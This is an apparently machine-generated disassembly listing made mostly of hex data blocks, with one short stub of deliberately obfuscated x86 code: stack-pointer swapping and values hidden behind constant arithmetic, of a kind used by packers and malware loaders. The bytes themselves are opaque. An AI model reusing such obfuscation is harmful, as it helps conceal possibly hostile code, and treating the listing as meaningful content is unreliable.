8F0F04EEh, 6, 2A498589h dd 0FE81061Fh, 0FFFFA3E0h, 13850Fh, 81660000h, 0E93F85CAh dd 20h, 3404C1E8h, 0F98AF41Ah, 0F281667Ch, 8AE9FDD0h, 2FFFFFFFh dd 7C69D2E8h, 86A3CB0Dh, 0D528520Fh, 0CB2F08EBh, 3239h dd 0F7E9023Fh, 6800000Bh, 624D492h, 0FB7698E9h, 0D5C268FFh dd 8EE90624h, 68FFFB76h, 624D760h, 0FB7684E9h, 0D81B68FFh dd 7AE90624h, 68FFFB76h, 624D8E3h, 0FB7670E9h, 0DAD568FFh dd 66E90624h, 68FFFB76h, 624DB79h, 0FB765CE9h, 0DCBE68FFh dd 52E90624h, 68FFFB76h, 624DDC6h, 0FB7648E9h, 891A1FFFh dd 2EE1C728h, 0CB426CCDh, 7225096Ah, 1A8FB011h, 35FA8BB9h dd 0D334950Ah, 76D738EFh, 1A7BDCB1h, 0C521820Bh, 0EBC12D60h dd 6F16F7B2h, 0B77FA02Ah, 7021FB92h, 0D5F055E3h, 0A97CD154h dd 0FA2B7FE0h, 9140D5D6h, 283CF528h, 6A19FBAFh, 2442B0E7h dd 0CC6EF7ADh, 46FE71ADh, 4547A102h, 0F2000000h, 5C6474B1h dd 0C95C64C9h, 237EB11Ah, 0B4FBAF37h, 35B86F4Fh, 0C74ADFE0h dd 47CA7928h, 3BE3CDEEh, 7D07333Fh, 364AA8EFh, 6B53F7ADh dd 0D3DC31B4h, 0BB6DBB3Eh, 21C3159Ch, 44A9C602h, 0C09CA102h dd 47000000h, 9F0881A4h, 33B6774Eh, 9A49DCDEh, 0B34890Ch dd 0E7BE1396h, 774EA326h, 131255B6h, 7AF18E1Dh, 8D002CABh dd 0C7187DDEh, 0BAA2DFEh, 7C0D187Dh, 638BBE13h, 74F18E1Ch dd 6CB437C5h, 3164CDB9h, 0FBAF0B5Ch, 0CD218231h, 92C52E58h dd 1CCB2BCh, 0B2036C1Bh, 52B31489h, 3539B469h, 0B9E2FD5Ch dd 9DCE736h, 2F120000h, 8EB41576h, 6B55B617h, 0CAF253B4h dd 0AE91F253h, 1B6A98F9h, 15762B14h, 0B8198CB4h, 5ABB5057h dd 0FA5B2CF9h, 0E806399Eh, 0E7F7B2ECh, 9BA4FB40h, 607C9D06h dd 0D45570EFh, 0B97DB251h, 0F34A7FBFh, 0D6AC2F14h, 3899FA88h dd 4CC1E66Dh, 873EB0E3h, 0E291F18Eh, 0B181D233h, 7EB11A74h dd 0FBAF3723h, 4B8205B4h, 0F7AD37A7h, 0C486709h, 0A1024663h dd 60EC97B8h, 1E53CAF2h, 95C8AE88h, 0F7AD4F59h, 9220CF7Eh dd 0DE53h, 81A4FE00h, 1D7E9F08h, 89BF51C3h, 93E86BF9h dd 0E80639A8h, 0E7F18EACh, 60E3BA82h, 0FA6312C1h, 8E1186A9h dd 85DE61EFh, 0EA402664h, 6ED741DDh, 8E3CB33Bh, 0E77524F1h dd 8E4085A0h, 743510F1h, 525DAE13h, 0FBCA2FBDh, 5600DAACh dd 0F8CD5009h, 5E0DAC2Fh, 41E42CAFh, 83BB68Fh, 0F18EFDE6h dd 88B3AE9h, 51BA69h, 0CAFD663Bh, 0F18EFD24h, 0D7604B3h dd 0AFEBB3DAh, 0F0D526FBh, 0CF7EA937h, 7B0B1A6Eh, 8E84DF12h dd 0A65501CDh, 98C3EC3Dh, 8F96FB92h, 8DEE4FFEh, 6072EDA2h dd 0FCE2FDBEh, 8AC2A79h, 0DFE20000h, 0BE84E546h, 1B2586E7h dd 0FAC22384h, 5E61C223h, 2B3A68C9h, 0E546DBE4h, 88E9BC84h dd 2A8B0027h, 0CA2BFCC9h, 18D6096Eh, 0B7F7B2EDh, 9BA4CB10h dd 6144A506h, 0A4F647A8h, 30850881h, 0CE339415h, 18A84679h dd 7827F18Eh, 0E9772C13h, 77749491h, 8475BBEBh, 0C617802Fh dd 87AC2FE6h, 0C3C3A26Fh, 58E69550h, 0F561BCEFh, 47F6FBAFh dd 141A6BC4h, 0D15FFE81h, 6FD0596Ch, 1CF3B90Ah, 76CFA99h dd 85B9E73Eh, 263FC6Dh, 0AD3A1FCFh, 5201B0F7h, 19193AA3h dd 52D99174h, 9645DAE1h, 834E8508h, 0E07E6814h, 0F3D20F2Eh dd 65E8A184h, 55B617C6h, 0FD34B770h, 72E812F4h, 3AD5F65Bh dd 0F364F89Eh, 22F5BD22h, 0C072009Fh, 0E4164A1h, 4B83D7EDh dd 2E757233h, 72E721C0h, 50B1600Fh, 0FB929AEBh, 6C3D086Dh dd 2143B2E9h, 0C5EA72E7h, 0AD78CD50h, 0CD0059DCh, 70350E21h dd 0A85607B6h, 1BB90289h, 25E6BFFCh, 543E5FC4h, 954698A2h dd 784DB240h, 41E42CAFh, 58A9DC45h, 3D7A55D3h, 0A7C82D8Eh dd 0D356C8C0h, 0E73FCDE9h, 0B4E7503Eh, 74689E49h, 0C1167F2Eh dd 34AE608Eh, 0D3066F70h, 7034AE1Bh, 0F95E0DBCh, 4BCE5C33h dd 8830D1F2h, 7295B0FAh, 88549DE4h, 0B85A7034h, 0AB125D99h dd 82331989h, 0DE000004h, 8E182CC2h, 8638FF1h, 0B258F18Eh dd 57F18E2Bh, 96E3F06h, 9DE47225h, 0F18E2B55h, 4DB6D055h dd 0D9EA7F8h, 4AC9387Fh, 0FFAEFBAFh, 0DCF47484h, 469518E4h dd 70Eh, 43A47D44h, 0E849DCE2h, 91F2A587h, 38990C30h, 0DE3FD4D7h dd 515ADDB0h, 36FA5BBCh, 969DFE5Fh, 663FA001h, 83E844A5h dd 0B2EF9E50h, 458A31F7h, 26F4FA0h, 48E76A23h, 9FA60B99h dd 6E54A50Eh, 609534B7h, 0D8F19D39h, 0C74AD800h, 0F562A67Fh dd 459B3968h, 8ABD26D5h, 0FBA9874Ah, 92072C91h, 0F43A82E3h dd 654B8D98h, 679A03B2h, 1D42766h, 0BE0F7827h, 114F9EF9h dd 617317C3h, 2902FB2h, 0D5872C73h, 22320A8h, 4DE81B84h dd 32AB0940h, 6DB80083h, 2085B821h, 0A5A4F507h, 693C8DF6h dd 0C7DE3FA0h, 2C8DE4C0h, 77DCAEDAh, 0B530DFB4h, 4D99AD97h dd 5381D053h, 89000006h, 2D8EEFA0h, 0CE2F9007h, 77D839ECh dd 1E7FE0B7h, 0F927881Dh, 398A394h, 0A67941A2h, 4ADFE445h dd 0ECBD88E9h, 97CA2F8Bh, 0F7B2F057h, 0B18CD178h, 0CA5F6474h dd 85DB21Bh, 8E1819D5h, 4089BEF1h, 0A4D09A52h, 4E9523D2h dd 0FBAFE5CFh, 0F348B160h, 0ADE52EC0h dd 64F2A1F7h, 0F0B98CE1h, 2475DE6Dh, 5698CB18h, 79F7ADE5h dd 0F9981BCAh, 6AF8B194h, 0BC6999B8h, 0F31469D2h, 0C019E815h dd 71240A52h, 3BA04FEEh, 7A199C73h, 3178A5ECh, 0AE5D01CEh dd 51E80A4Dh, 1BD3F18Eh, 8FF18E51h, 7AE17296h, 7BC33D4Dh dd 0A43063CCh, 0F3FBA995h, 658AC144h, 5AF7B2B1h, 0F7B2B19Dh dd 2DA86144h, 1B189E01h, 8B0352D5h, 0C1000005h, 65C627F8h dd 667C85Fh, 0AF107124h, 56B7188Fh, 315FC055h, 3BD0DB5Ch dd 0DEB179DAh, 82171C7Dh, 24E5C021h, 0CF0267C3h, 0F7B2F01Fh dd 0B1C409B0h, 0CA5F6474h, 90F9A847h, 0A94B775Dh, 0EE7120FBh dd 9AFB8C99h, 2BAEE246h, 0D53ECFD6h, 9A0D2F80h, 0BD317817h dd 12F7B2EBh, 1374D563h, 0BF107932h, 129523F8h, 9C1FE8BDh dd 0E4196FBh, 0F7B2EBE0h, 0B240EFh, 184BA0E1h, 0F7B2EBD6h dd 57BC4AF9h, 8068374Eh, 743DBA9Eh, 6B0464C5h, 0DAA107EFh dd 1B5h, 6474B185h, 0B019C841h, 0AF33847Dh, 1FA251FBh dd 0B03E71C6h, 1FF7AD33h, 70270B70h, 33599BE2h, 4EFCF7ADh dd 969DEE2Fh, 0A1B7301h, 6DBE137Ch, 0AA49CC43h, 4E2CD51Ch dd 5A0901CEh, 6DF9D0F1h, 30653A01h, 55E3C8D5h, 193A8FF4h dd 0AA2978F1h, 0AF3F86F7h, 20F18EA6h, 88993C71h, 0D41ED459h dd 43C4E146h, 0D15A6BC0h, 7D091C70h, 0C550E114h, 5605FBAFh dd 2979CEDh, 38BAF174h, 65F7ADB9h, 0F045C85Fh, 86689BC8h dd 49F7ADB9h, 2568EB9Ah, 8BDD6483h, 6889CAE9h, 81D5945Dh dd 0D606712Bh, 5F6F7DB2h, 38379B29h, 0DA10261h, 30h, 7FB283A4h dd 0C220F400h, 74B1DF34h, 237EB11Ah, 0B4FBAF37h, 0F876B27Fh dd 0A04F9291h, 4C0CE61Dh, 2A4F7ADh, 5AC8A7E3h, 0BC7DA102h dd 28000000h, 850881A4h, 82B20B2Ch, 291F8FF0h, 1A75369Bh dd 0FBACA270h, 6D3E0712h, 0ED9C4BEAh, 7730156Ah, 5869FF4h dd 0F5C461A4h, 764FF18Eh, 0A2F74CB5h, 8EF57F6Fh, 5AA150F1h dd 0F18EF594h, 0A5069443h, 3E04D451h, 0F5747AADh, 0B463F18Eh dd 0BAED5605h, 0FBAE8227h, 479801B0h, 0B61FAD7Eh, 64C55A65h dd 0F0DD3803h, 3B953215h, 3B38F19h, 0FBAA33EEh, 0B2F7D14Ch dd 83E4E2h, 399B1h, 39EACF00h, 0DEB177D8h, 7B121C7Dh, 22F5B91Ah dd 0CA5F60C1h, 0E52A3B69h, 83E445DAh, 2687E8BFh, 0CA2B8C01h dd 75D132FBh, 0F211DD10h, 1FC6F7B2h, 69BA4DAh, 0C9EF40A5h dd 4263C856h, 0A41768C9h, 2C850881h, 0C79BA70Bh, 8E3A5A94h dd 99CE7DF1h, 0D15F4AA1h, 6FD0596Ch, 9830C21Eh, 678BF18Eh dd 43F18E98h, 83BA4E2h, 0FBA9CBCCh, 0A94578CDh, 2EF7B26Bh dd 17C6F17Fh, 0C5EA3B94h, 4302EFCAh, 0C3729526h, 3E48DD35h dd 0E25F80D5h, 499228E5h, 42B7FE8Ch, 2301D3F6h, 26B9F974h dd 32B5E2F8h, 2F5E3h, 8D062B00h, 32E5CB2Ch, 0D74E70D1h dd 76291576h, 168BB415h, 31E687B5h, 0D738990Eh, 7ADB3CD3h dd 1E7FE0B5h, 0C9258607h, 0F3BD3164h, 6B12F7B2h, 881A426h dd 94153085h, 4846DF33h, 1E85ACDFh, 0A352FBAFh, 5172C720h dd 7A271AC3h, 0FFEF36D5h, 0D0F7ADC4h, 6985B821h, 6EF7ADC5h dd 8EA31BFh, 0A8F7ADC5h, 0C4ABE706h, 81A102E7h, 46h, 6474B12Ch dd 742B115Eh, 7AAD16C5h, 0FBAF3727h, 439801B0h, 0AD37DE10h dd 0B442F1F7h, 37F8FA31h, 9FA5F7ADh, 0BBA7352h, 0E0B3388h dd 3E129CDEh, 0C649F84Fh, 0DF668537h, 90CCEB8Dh, 0A1023DDFh dd 0F166h, 4FA01100h, 9130B368h, 6879E03h, 0A2D52A83h dd 0F18E184Ch, 0CCAF8681h, 0F11C595Ah, 6C4FB442h, 6874C231h dd 0EC9BCB1Dh, 78311469h, 485A0F5h, 6EC560A3h, 0FB4CF18Eh dd 0C5F8612Ah, 0F18E6E29h, 0C71FFAEh, 0AE0F7039h, 3A931697h dd 6E3CB2E5h, 5B61F18Eh, 77A241C4h, 0C22C5FC8h, 15F18E6Eh dd 0A580D866h, 104D80E9h, 0A5FBAF62h, 0E44195F6h, 0DD0E41AAh dd 0FE01CCEDh, 0AA95E64Fh, 703B8CF5h, 4BAC0D9Bh, 6230AB60h dd 0F6E2FD0Dh, 1B02473h, 0C3E60000h, 0AA90F152h, 0F3192F3h dd 0D6D63798h, 0B27DDE3Fh, 3F4E7CDDh, 16237F8h, 0A40598A0h dd 46A77C43h, 0E647C0E5h, 0FCF2258Ah, 0DBF7B2F3h, 4BA0EF34h dd 8E18D618h, 2061EFF1h, 4AC20EC5h, 7DE2701Fh, 1B7CDDB2h dd 31FACB0Ah, 73A60FAEh, 0F18EAB7Bh, 95FEAD5Ch, 5922D74h dd 2FBD6EFBh, 74B17DCEh, 237EB11Ah, 0B4FBAF37h, 0A74B8205h dd 9F7AD37h, 630C4867h, 0E2A10246h, 0CBh, 8281A48Dh, 31147C08h dd 2156F578h, 0EA99AE9Fh, 74291267h, 667798F1h, 80449C69h dd 57995588h, 8F3EF18Eh, 1A0B52E0h, 81F18E5Ch, 1D82E3A4h dd 0FCFD3FCh, 16A4E4C8h, 901394B1h, 3FAFE237h, 90F18EA7h dd 2AFB53E1h, 9DC0F35Ch, 32FBAF9Ah, 57CE2283h, 781732B1h dd 88BD0603h, 959E384Ah, 87F09FECh, 0CD19F254h, 4A70D501h dd 0F108E619h, 18C7F1CCh, 51BA69h, 0A8096A3Fh, 0C7971287h dd 67E2FD21h, 0A895E4h, 0DBDE0000h, 0A288E94Ah, 7298AEBh dd 0EECE2F90h, 4A75D637h, 274674D5h, 0F95ACFF0h, 9CFD9098h dd 3E9F743Bh, 0DE3FC8DDh, 4EA1D82h, 0D3F7B2F5h, 9BA4E72Ch dd 18D5194Ch, 4BFAF18Eh, 0CBDA3B9Ch, 0A490E142h, 30850881h dd 0DF339415h, 3EA99246h, 4AF9A87Dh, 4B2AAEE1h, 0F64BFBA9h dd 0B2EB2BC3h, 6FFDACF7h, 44DBDF44h, 50461A0Fh, 0A04F6C61h dd 2CFDC81Dh, 0D25B6ACBh, 214E184Fh, 4BFDABC5h, 55D6EF2Ch dd 0F9B293F4h, 8A1D2176h, 0E807B907h, 0A8119AABh, 31BF5457h dd 0D5566FD0h, 9DA8F952h, 31F7E0Ch, 0CA000000h, 9DA4095Eh dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 688ED75Ah, 2E59h dd 53242C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push eax push ecx mov ecx, 7645078Ch mov eax, ecx pop ecx sub eax, 70203407h mov ebx, eax pop eax push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx sub dword ptr [esp], 1DED2DA3h pop dword ptr [edx+8] add dword ptr [edx+8], 1DED2DA3h push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5426C5 ; --------------------------------------------------------------------------- db 7Dh, 0Ch, 0EDh dd 0CE3219B1h, 93B8F385h, 30624DEh, 0AEE0FFC5h, 0C402E7F0h dd 0AC1F9B47h, 884E82A9h, 82134235h, 680E1A53h, 9C122C17h dd 16789EEDh, 6674839Bh, 493129DDh, 846789E2h, 2E1ABAF0h dd 0A455AB6Bh, 596F86A7h, 4074FEFCh, 0D3554E4h, 0C746DFF4h dd 7A340587h, 60586C54h, 1303FE07h, 0D05BC4Ah, 0E834149Fh dd 0C03D7DA8h, 941C7F31h, 5D00D8EDh, 1240BF28h, 0F61D2722h dd 351E6FD9h, 4C63EE6Eh, 4C7CC6F4h, 0E81E27D1h, 0Ah, 0B6DCAF45h dd 0C9A0FF60h, 0F606FDFh, 880FDBB7h, 5, 2B1DF4B9h, 81586160h dd 684AC0h, 0BDB96600h, 68ACh, 81660000h, 5FEF41C1h, 381C8BF9h dd 0BA666051h, 5F537A40h, 0EB815961h, 16F580CCh, 0DE8h dd 7C89D700h, 4B86572Dh, 7E4880DDh, 8A0F6742h, 2, 815AD78Bh dd 0F7273AF3h, 9E52BA17h, 0F38127CAh, 236407A0h, 0EE9h dd 7478B400h, 919A601h, 2CB54C2Ch, 53E77058h, 5880Fh, 81660000h dd 8F9E90E1h, 0F603804h, 0B961C8B7h, 1901F1F2h, 8001EF83h dd 4F4F4EDAh, 64FF814Fh, 0FFFFF98h, 0FFFF8085h, 8D8DF9FFh dd 624E118h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 89C35040h, 0B5D8D89h, 6A061Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 3714EC3h dd 1F09C995h, 0C585C706h, 0EC061F20h, 6A00006Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89B5C357h, 1F090995h, 7D85C706h, 61F13h, 89000000h dd 1F030595h, 41B5FF06h, 6A061F0Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A882C352h dd 5995FFF7h, 8B061F2Dh, 1F0EBD95h, 0FF006A06h, 1F1D4595h dd 0EBC08B06h, 62B9635Ah, 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh dd 5C00DAFAh, 0FD29EA7h, 46ED8BEEh, 7D1FED9Ah, 0F8677EE7h dd 79A88463h, 4BCF4F11h, 9863EC14h, 0DE89B9C8h, 0AD1DE0BBh dd 462F880h, 6C29CA1Fh, 0B537F654h, 70EC3325h, 2FF0AE0Bh dd 0EF489720h, 0D055C73Eh, 905D7291h, 0E9F0BBCEh, 0ABh dd 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h dd 94E7A601h, 3383323Dh, 0E931072Fh, 1298h, 24E43468h dd 9B4CE906h, 3E68FFFAh, 0E90624E5h, 0FFFA9B42h, 24E64268h dd 9B38E906h, 0A768FFFAh, 0E90624E7h, 0FFFA9B2Eh, 24E83768h dd 9B24E906h, 568FFFAh, 0E90624E9h, 0FFFA9B1Ah, 24E99968h dd 9B10E906h, 2D68FFFAh, 0E90624EAh, 0FFFA9B06h, 24EACF68h dd 9AFCE906h, 3868FFFAh, 0E90624ECh, 0FFFA9AF2h, 24ED0468h dd 9AE8E906h, 2468FFFAh, 0E90624EEh, 0FFFA9ADEh, 24EF8368h dd 9AD4E906h, 6668FFFAh, 0E90624F1h, 0FFFA9ACAh, 24F25F68h dd 9AC0E906h, 2983FFFAh, 89D61D8h, 0EEBC80F7h, 0D1D89C13h dd 0B3F3B72Eh, 0D18BD74Eh, 0B027DACCh, 0D148C7ECh, 0EF669B0Dh dd 0C837C2Bh, 461ECA43h, 0D919AEBFh, 62452EA1h, 46EA1791h dd 58A700B4h, 0D8BD7AE1h, 0A99EB35Fh, 772B15F0h, 33DF68E5h dd 25F2A85Bh, 56BDB8EEh, 677A053Dh, 2F039FC3h, 9525F368h dd 790C816h, 67FAD27Eh, 0D98D25F3h, 0F367653Dh, 2044F825h dd 7482CF8Ah, 6B3EFE09h, 76D77094h, 64000000h, 42EABC7Ch dd 0D3A1BE96h, 0F99D511Fh, 0A1FCD480h, 0DB8F1FD3h, 0BED364B7h dd 80F49945h, 2B6115F0h, 2253D097h, 558EB26Ah, 4BEF1095h dd 574519B9h, 4D5925F3h, 376E22B4h, 668D18C8h, 872FC140h dd 169D51E3h, 0E0FE79F9h, 3C72EF4Dh, 6B4BFCAFh, 0CA456987h dd 0FBBB4414h, 0E0B854ADh, 7325F2DAh, 0C29A46BFh, 5525F2DAh dd 92E77DA1h, 3B09747Bh, 0C5h, 0FB467CC8h, 58457FE0h, 49B6F3A3h dd 3BEB0FB7h, 4D01936Ch, 6216A859h, 7428BA45h, 0A555CC33h dd 1FD34DD8h, 0BF36C9DEh, 0CA357232h, 4EB1F6A6h, 0BFD265BCh dd 0ADFDBD46h, 0A11AC254h, 0D34E1DF5h, 0D8FCB01Fh, 0F05DC33Ch dd 2DA45815h, 936B17A0h, 2625F25Ch, 3CFB4E72h, 0FC34E059h dd 8F1C13CCh, 4A262DBh, 0E4C484FDh, 0BFE38B1Dh, 0DF228448h dd 66E76F78h, 3554EAFAh, 0FE1h, 0EF669B11h, 0E857A2Bh dd 2AA1604Ah, 45BC4366h, 65DC2581h, 50565F19h, 3D763AB1h dd 11975BD2h, 0F2B579F0h, 54CD960Dh, 0AEBDD0A8h, 0B82B6319h dd 0F69D467Ch, 36FB2459h, 1FDE6F1Ah, 0D5F99D16h, 9808125h dd 269D6245h, 2B95A2AFh, 0D3A1A77Fh, 0E2863A1Fh, 8118BD69h dd 4F8515F0h, 0DB83CB2h, 99664339h, 97BB5F07h, 9B18AA5Eh dd 0A436CBDBh, 683CD8FCh, 0CE25F320h, 0EDAC8F4Fh, 9743Dh dd 0D5h, 6A42EE77h, 0FD25F32Ch, 7CC22549h, 8315ECBCh, 0A007B7DBh dd 0C750CD5Fh, 1DE49D91h, 20BC4EB8h, 1FD35348h, 530327DBh dd 7C1CAE53h, 1FD357AFh, 960DF2B5h, 0A955D5D2h, 1FD357D1h dd 0FB06A464h, 791DC169h, 0E2A790E7h, 2FFA969h, 40B965DEh dd 0D515F068h, 0E71DAA21h, 0AC83C2F7h, 0D5284C66h, 79862362h dd 13D35CD5h, 0AB476B94h, 1C13C948h, 8C841F5h, 28EC639Eh dd 191C837Eh, 84FA66E8h, 0ED7CFEEh, 0A5070000h, 8421E55Ch dd 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h, 34AB5650h dd 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h, 5D19AEBCh dd 6145B225h, 8EF127A0h, 0CDF3CC3Eh, 9256CDF1h, 0E673EA15h dd 0B0D9B15Dh, 0AC6C1FD2h, 3F6307FAh, 9D6245DCh, 0AA588E0Bh dd 77B0AEF7h, 0AC2B2C34h, 0AA4EC20Ch, 0A16AD184h, 799DE09Fh dd 0AA21DEC9h, 0AB3DC4E6h, 0D84FB0F7h, 9E99BBBAh, 0A83AC7DFh dd 0EDA77F2Bh, 863A1FD2h, 19C53EE2h, 15EFCD60h, 0EAE41F5h dd 0D7BFE39h, 16EDC686h, 36DE708Fh, 1C1B6E92h, 7540079h dd 8413992Ah, 50E73ED0h, 0B518C43Dh, 2219BDA2h, 0E215ED99h dd 0F4A829BDh, 0DCD797D0h, 360EBA33h, 0C929BDE1h, 38F87115h dd 22B90E6Fh, 466663Dh, 118119F1h, 9337DB3Ah, 1B5B911Ah dd 0AD411724h, 0B4E3BB57h, 0C27629BDh, 0D7699812h, 0D0940B2Fh dd 6AC128D7h, 1FFFCC9Fh, 0DD36A89h, 0A9030000h, 881DE158h dd 6E3C0077h, 51581C93h, 337337AEh, 510B57CEh, 30A75A4Ch dd 51C8476Ch, 6FE61B8Dh, 8C03FCABh, 0C69E4AC3h, 5919AEBBh dd 6245AE21h, 83B40B9Dh, 0C658A702h, 78017A1Eh, 82BDF642h dd 1E4285B4h, 0F076F582h, 47BE7215h, 842657E0h, 0B460D97Dh dd 1C0F810Fh, 0D67608BCh, 2C118102h, 4F648F16h, 0E2862EC0h dd 0F6099C50h, 7965E064h, 19D956B4h, 2EE2748Dh, 0BFE3877Ah dd 0D8A19A44h, 1503569Dh, 1DAF5055h, 60A4F75h, 0E43CE610h dd 5127C0h, 0A2B40000h, 0C7870095h, 0E89022DFh, 5B9F4BC4h dd 615F0F0h, 8F19D952h, 6F39F972h, 4DDF2286h, 0C76F01A5h dd 0DB6D9217h, 0E8980F33h, 25F2F016h, 2F767D2Ah, 0F1B52CD0h dd 976A3EB7h, 27B95D05h, 0CF808h dd 46F27B00h, 25F2EF6Eh, 0ABE41B8Ah, 0A270D3F7h, 0DB870095h dd 15F64430h, 0C080F9ADh, 8D9D0CE7h, 0F88409E1h, 44E89C25h dd 426529A0h, 63D42BBDh, 7E61C2ACh, 57FBA3FDh, 41F55DEh dd 56EAA286h, 0F848E408h, 7B1C1ADBh, 198E4EC7h, 0ACE26FE6h dd 1BA96B29h, 96CA9FE4h, 3F04BD70h, 0E0C7779Bh, 1368D1Fh dd 0DE8A138Ch, 2C1D1A06h, 8C641099h, 1F2C1D19h, 2AA3C76Bh dd 39F8C97Eh, 3BA25622h, 0E44E1BD6h, 6EDAF98Fh, 9E00000Ch dd 0B87CF30Eh, 0D79B12EDh, 0F3B72ED3h, 0ED249B6h, 0A6F26998h dd 44BDE9ECh, 65AA09CDh, 837E2AEEh, 0A05F480Ch, 3BE76029h dd 19AEBA63h, 594BBEF6h, 1FD3A185h, 0D34C41F6h, 115B144Ah dd 3039F7D7h, 0D328AC84h, 0E78B3F1Fh, 0CACF27C3h, 0AE6215F5h dd 0CD327535h, 0DE159256h, 0FDA537CAh, 8A20E059h, 0A1EF6A2h dd 0FDB125F8h, 9E4AC759h, 25F809C6h, 0DD01A559h, 4E43F44Bh dd 139C29D5h, 59191C15h, 0A50CB051h, 0FA65FC72h, 0DE3A59EFh dd 0E00000Bh, 28EC639Eh, 470B827Dh, 63279E63h, 7E42B946h dd 1662D928h, 0B44D595Ch, 0D53A793Dh, 0F30E9A5Eh, 10EFB87Ch dd 0AB57D099h, 19AEB9D3h, 45BB2E66h, 570B9D62h, 691DAF50h dd 7D31C33Ch, 22DDCC29h, 0B244E890h, 33FAE473h, 0D8637B06h dd 0F094B881h, 6392Ch, 95A2B900h, 76DB8700h, 2315F644h dd 8416EE9Ah, 0AABC25F8h, 0DC37466Ch, 32580C45h, 0E40E6C42h dd 0C53EE21Ch, 41B8903Ch, 974B25F8h, 0B171FA73h, 0D1790BF4h dd 577B8421h, 88FF00A7h, 0E656C5FBh, 0CE3F9124h, 0F7A24A22h dd 8529DD25h, 9C2ED3D5h, 8720D0F4h, 7246E678h, 0E325F7A2h dd 0F595BF54h, 5D165F51h, 79440B9h, 841C1544h, 2CAC69D0h dd 13A9FA65h, 0B10F4h, 956C4000h, 0B44B5A1Eh, 0D031793Dh dd 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh, 0C88C030Ch dd 0E6AA21E0h, 0FEC73EC1h, 0B901D985h, 5C9419AEh, 9D6245E9h dd 0AF50570Bh, 7D61EC1Dh, 94B8FBBEh, 57C12F0h, 0C9890000h dd 99FC20E1h, 0D3A18559h, 0A310D01Fh, 8232DA6Ch, 63B6DA25h dd 9C48C1D4h, 15F64477h, 37F77024h, 0F26B8F70h, 138A7532h dd 7951FD86h, 0C25F883h, 23843458h, 44F34ADCh, 9F2CD851h dd 1C1C158Dh, 66320168h, 0A137FA65h, 0A7C82h, 100AC00h dd 20DFC68Ah, 3CC5E5A9h, 57A801C5h, 778A1CE0h, 0F3FAB400h dd 13D74EB3h, 34F86FA0h, 52168D74h, 6A33AA55h, 0B86D45F1h dd 0C80019AEh, 47F37C55h, 1FD3A16Fh, 7A2A4E02h, 8C40D22Dh dd 2152E41Bh, 0A6F34896h, 47F094B8h, 4DEh, 0F42188BEh dd 0E39C2459h, 0D3C55F37h, 9A3EF21Fh, 1C40BFEAh, 95A2B9h dd 43E5DB87h, 0C47815F6h, 0E31C8B4Bh, 0FFA86Ch, 83FACE6Eh dd 0CC6B25F8h, 17A450C9h, 941C158Eh, 66A079E0h, 0FA5FA65h dd 9E8F0h, 6D941800h, 8C7332F6h, 0A8595115h, 0C33C6D31h dd 0E31E884Ch, 5F66206Ch, 7F43BA47h, 0A064DB34h, 0BE82F908h dd 0D69F16E9h, 0B7D9B15Dh, 346C19AEh, 9D6245C1h, 0AF50570Bh dd 2901AD36h, 0BC1FD3A2h, 2152E408h, 0A6F34896h, 47F094B8h dd 44Ah, 0A18059D4h, 3CFB1FD3h, 1BE6C484h, 6D45E189h, 1FD3A1h dd 832FA84Ch, 15F64470h, 10D049FDh, 0B9EF6897h, 0BF8775F3h dd 0A2193D86h, 0A436C9DEh, 2EA7EA4Dh, 14D35D82h, 5C4A0A1Ch dd 0A51D0923h, 4A8C194h, 0BF26CA72h, 0FA65B764h, 462C4BE1h dd 76000009h, 9054CB36h, 0AF73EA15h, 0CB8F06FBh, 0E6AA21DEh dd 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h, 5BA602C6h, 788720E4h dd 13BF3801h, 19AEB73Bh, 7C2396CEh, 0E0E61446h, 0CAEE1FCCh dd 0F9728D1Ah, 82ECC470h, 0CE921FD3h, 0A994AFFh, 42ADE17h dd 0F7BA3ABEh, 3FD1F53Dh, 51E31C8Bh, 958C52CDh, 0CC76ED12h dd 0F094BD8Dh, 0D9288040h, 1411CB5h, 45A90000h, 570B9D62h dd 0AB38AF50h, 0C6D4B475h, 193D323Fh, 961071C6h, 16BA475Fh dd 0B070F972h, 4AE60AF5h, 15EFAF35h, 0B58D39C2h, 4825F1AEh dd 0B777F094h, 0D57D0FF0h, 0AB7F1FB1h, 1125F1AEh, 0AAEF4C92h dd 4309754Bh, 20h, 95A2D0h, 8136DB87h, 2FE315F0h, 0C229FD9Dh dd 108F25F2h, 5C2C6DCEh, 0CAC10974h, 4E000000h, 0B9D6245h dd 20B24F57h, 32C43B6Ch, 5501297Eh, 1FD3A17Dh, 3DB8710h dd 961FD3A2h, 219A3EE2h, 5C01AEBh, 0D3228159h, 3A60141Fh dd 0A8CCB5AEh, 83A48131h, 0DDCA1FD3h, 0F344AB22h, 9479259Eh dd 4115F530h, 62116E0Bh, 